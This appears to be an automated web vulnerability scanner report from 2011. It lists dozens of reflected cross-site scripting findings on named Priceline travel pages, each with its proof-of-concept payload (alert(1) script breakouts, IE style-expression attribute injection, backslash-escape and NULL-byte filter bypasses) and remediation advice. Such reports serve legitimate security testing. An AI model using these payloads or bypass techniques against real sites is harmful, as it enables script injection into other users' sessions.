The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7e7ab'%20a%3db%207cecbc91030 was submitted in the REST URL parameter 1. This input was echoed as 7e7ab' a=b 7cecbc91030 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> <title>Vacation and Hotel Reviews, Travel Photos and Pi ...[SNIP]... <input name="currentPage" type="hidden" value='/traveldeals7e7ab' a=b 7cecbc91030/iAuto.aspx?'/> ...[SNIP]...
The value of the att request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 6ca56%3balert(1)//546d6db2be8 was submitted in the att parameter. This input was echoed as 6ca56;alert(1)//546d6db2be8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:13:49 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 1027 Cache-Control: max-age=3600 Expires: Mon, 03 Oct 2011 01:13:49 GMT
var _results = {"query":"dest Boston United States date 0T3 type HOTEL","count":2,"data":[{"topic":"queries","fullqueryTerm":"dest Boston United States date 0T3 type HOTEL","weight":"1000","ruleName": ...[SNIP]... =HOTEL&fullquery=dest Boston United States date 0T3 type HOTEL","tacQueries":"TAC:CC2:Custom:Topics:Travel:PricelineTypes","queriesTerm":"HOTEL","ruleSetName":"tacoda_custom_travelmodes"}]};
The value of the query request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d55a\"%3balert(1)//ecaf85f8f3d was submitted in the query parameter. This input was echoed as 7d55a\\";alert(1)//ecaf85f8f3d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:14:01 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 654 Cache-Control: max-age=3600 Expires: Mon, 03 Oct 2011 01:14:01 GMT
var _results = {"query":"dest Boston United States date 0T3 type HOTEL7d55a\\";alert(1)//ecaf85f8f3d","count":1,"data":[{"topic":"queries","fullqueryTerm":"dest Boston United States date 0T3 type HOTEL7d55a\\";alert(1)//ecaf85f8f3d","weight":"1000","ruleName":"cc20ct0tra0rad0pline","matchedField":"de ...[SNIP]...
The value of the action request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 84a47"%3balert(1)//e66ef953f71 was submitted in the action parameter. This input was echoed as 84a47";alert(1)//e66ef953f71 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cwadformat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a8cf"%3balert(1)//78f2c95f7bc was submitted in the cwadformat parameter. This input was echoed as 2a8cf";alert(1)//78f2c95f7bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cwheight request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa854"%3balert(1)//0151e8bd225 was submitted in the cwheight parameter. This input was echoed as aa854";alert(1)//0151e8bd225 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cwpid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f040"%3balert(1)//597ece38ae2 was submitted in the cwpid parameter. This input was echoed as 9f040";alert(1)//597ece38ae2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cwpnet request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d06a"%3balert(1)//2e758bc4f2d was submitted in the cwpnet parameter. This input was echoed as 2d06a";alert(1)//2e758bc4f2d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cwrun request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a59e1"%3balert(1)//f02f6e681c7 was submitted in the cwrun parameter. This input was echoed as a59e1";alert(1)//f02f6e681c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cwtagid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 95803"%3balert(1)//aa35be3a797 was submitted in the cwtagid parameter. This input was echoed as 95803";alert(1)//aa35be3a797 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cwwidth request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9992f"%3balert(1)//d829030aa57 was submitted in the cwwidth parameter. This input was echoed as 9992f";alert(1)//d829030aa57 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7ee87%3balert(1)//7b85cacff43 was submitted in the cb parameter. This input was echoed as 7ee87;alert(1)//7b85cacff43 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the checkInDate request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %006a59b"%3balert(1)//1f6f9173ddff10305 was submitted in the checkInDate parameter. This input was echoed as 6a59b";alert(1)//1f6f9173ddff10305 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the checkInDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edf33"style%3d"x%3aexpression(alert(1))"412a6bf160a3d07c7 was submitted in the checkInDate parameter. This input was echoed as edf33"style="x:expression(alert(1))"412a6bf160a3d07c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the checkOutDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ace3"style%3d"x%3aexpression(alert(1))"bb7ca47d1b04f0ca3 was submitted in the checkOutDate parameter. This input was echoed as 5ace3"style="x:expression(alert(1))"bb7ca47d1b04f0ca3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the checkOutDate request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3755"%3balert(1)//8a13c8bc9178965e7 was submitted in the checkOutDate parameter. This input was echoed as d3755";alert(1)//8a13c8bc9178965e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the noWait request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d1ec"style%3d"x%3aexpression(alert(1))"0da24a740086c341c was submitted in the noWait parameter. This input was echoed as 4d1ec"style="x:expression(alert(1))"0da24a740086c341c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the CkInDay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c06ed"style%3d"x%3aexpression(alert(1))"68ae18697a7bf990f was submitted in the CkInDay parameter. This input was echoed as c06ed"style="x:expression(alert(1))"68ae18697a7bf990f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the CkInMonth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1694"style%3d"x%3aexpression(alert(1))"40f4443c19bf67c12 was submitted in the CkInMonth parameter. This input was echoed as a1694"style="x:expression(alert(1))"40f4443c19bf67c12 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the CkInYear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55907"style%3d"x%3aexpression(alert(1))"7f8076d466081c5c7 was submitted in the CkInYear parameter. This input was echoed as 55907"style="x:expression(alert(1))"7f8076d466081c5c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the CkOutDay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd8ac"style%3d"x%3aexpression(alert(1))"feb4acd87dd36f29b was submitted in the CkOutDay parameter. This input was echoed as cd8ac"style="x:expression(alert(1))"feb4acd87dd36f29b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the CkOutMonth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f9d7"style%3d"x%3aexpression(alert(1))"7ebc51a19c27b1e81 was submitted in the CkOutMonth parameter. This input was echoed as 1f9d7"style="x:expression(alert(1))"7ebc51a19c27b1e81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the CkOutYear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71755"style%3d"x%3aexpression(alert(1))"34164ddab186c8c9c was submitted in the CkOutYear parameter. This input was echoed as 71755"style="x:expression(alert(1))"34164ddab186c8c9c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the Initialized request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f700"style%3d"x%3aexpression(alert(1))"a1fe5a6ded2a0bc4c was submitted in the Initialized parameter. This input was echoed as 1f700"style="x:expression(alert(1))"a1fe5a6ded2a0bc4c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the KMode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f375a"style%3d"x%3aexpression(alert(1))"1083b24de5b was submitted in the KMode parameter. This input was echoed as f375a"style="x:expression(alert(1))"1083b24de5b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the RefClickID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d666c"style%3d"x%3aexpression(alert(1))"6029e375022ac7278 was submitted in the RefClickID parameter. This input was echoed as d666c"style="x:expression(alert(1))"6029e375022ac7278 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the RefID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5802f"style%3d"x%3aexpression(alert(1))"1cc0c45dbb9a463a3 was submitted in the RefID parameter. This input was echoed as 5802f"style="x:expression(alert(1))"1cc0c45dbb9a463a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the affiliateSubID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c5b2"style%3d"x%3aexpression(alert(1))"5ad1231780b was submitted in the affiliateSubID parameter. This input was echoed as 5c5b2"style="x:expression(alert(1))"5ad1231780b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the checkInDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5872"style%3d"x%3aexpression(alert(1))"291cab46a60d439a6 was submitted in the checkInDate parameter. This input was echoed as b5872"style="x:expression(alert(1))"291cab46a60d439a6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the checkInDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %003a9fe"style%3d"x%3aexpression(alert(1))"7a2a0989c6a was submitted in the checkInDate parameter. This input was echoed as 3a9fe"style="x:expression(alert(1))"7a2a0989c6a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the checkOutDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %009ed36"style%3d"x%3aexpression(alert(1))"66b5847273a was submitted in the checkOutDate parameter. This input was echoed as 9ed36"style="x:expression(alert(1))"66b5847273a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the checkOutDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed900"style%3d"x%3aexpression(alert(1))"0b6b9d26eee29a0be was submitted in the checkOutDate parameter. This input was echoed as ed900"style="x:expression(alert(1))"0b6b9d26eee29a0be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the cityName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 730ce"style%3d"x%3aexpression(alert(1))"160bb80c2ba97e2cf was submitted in the cityName parameter. This input was echoed as 730ce"style="x:expression(alert(1))"160bb80c2ba97e2cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the homepage request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5918f"style%3d"x%3aexpression(alert(1))"cadbe4bcd41bf55b1 was submitted in the homepage parameter. This input was echoed as 5918f"style="x:expression(alert(1))"cadbe4bcd41bf55b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the hotelBrand request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7150c"style%3d"x%3aexpression(alert(1))"237f1ca6f05241f7 was submitted in the hotelBrand parameter. This input was echoed as 7150c"style="x:expression(alert(1))"237f1ca6f05241f7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the hotelBrand request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ff7"style%3d"x%3aexpression(alert(1))"82960f0a095 was submitted in the hotelBrand parameter. This input was echoed as 29ff7"style="x:expression(alert(1))"82960f0a095 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
4.128. http://travela.priceline.com/hotel/searchHotels.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://travela.priceline.com
Path:
/hotel/searchHotels.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0297"style%3d"x%3aexpression(alert(1))"aedf6b2132a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e0297"style="x:expression(alert(1))"aedf6b2132a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
4.129. http://travela.priceline.com/hotel/searchHotels.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://travela.priceline.com
Path:
/hotel/searchHotels.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b8ab"><script>alert(1)</script>2b9240160eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the numberOfRooms request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd99f"style%3d"x%3aexpression(alert(1))"2bc29a6757e was submitted in the numberOfRooms parameter. This input was echoed as bd99f"style="x:expression(alert(1))"2bc29a6757e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the numberOfRooms request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d44fc"style%3d"x%3aexpression(alert(1))"74199effe499a77bf was submitted in the numberOfRooms parameter. This input was echoed as d44fc"style="x:expression(alert(1))"74199effe499a77bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the otherCityName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82227"style%3d"x%3aexpression(alert(1))"87e976f77a3f47fe8 was submitted in the otherCityName parameter. This input was echoed as 82227"style="x:expression(alert(1))"87e976f77a3f47fe8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the passingValues request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9e1d"style%3d"x%3aexpression(alert(1))"124d58d7924 was submitted in the passingValues parameter. This input was echoed as d9e1d"style="x:expression(alert(1))"124d58d7924 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the plf request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99caf"style%3d"x%3aexpression(alert(1))"833635bc1c4 was submitted in the plf parameter. This input was echoed as 99caf"style="x:expression(alert(1))"833635bc1c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the plf request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64d85"style%3d"x%3aexpression(alert(1))"a198d7f06731f0eda was submitted in the plf parameter. This input was echoed as 64d85"style="x:expression(alert(1))"a198d7f06731f0eda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the refclickid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2b1f"style%3d"x%3aexpression(alert(1))"cba8bf32e4d was submitted in the refclickid parameter. This input was echoed as a2b1f"style="x:expression(alert(1))"cba8bf32e4d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the refid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1a46"style%3d"x%3aexpression(alert(1))"ca3302ebf48 was submitted in the refid parameter. This input was echoed as f1a46"style="x:expression(alert(1))"ca3302ebf48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the searchHotelName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c224"style%3d"x%3aexpression(alert(1))"ac9aefefd97 was submitted in the searchHotelName parameter. This input was echoed as 3c224"style="x:expression(alert(1))"ac9aefefd97 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the searchHotelName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 180f2"style%3d"x%3aexpression(alert(1))"e75efbd596f11fed2 was submitted in the searchHotelName parameter. This input was echoed as 180f2"style="x:expression(alert(1))"e75efbd596f11fed2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the searchType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afb1a"style%3d"x%3aexpression(alert(1))"eb0c43cef34 was submitted in the searchType parameter. This input was echoed as afb1a"style="x:expression(alert(1))"eb0c43cef34 in the application's response.
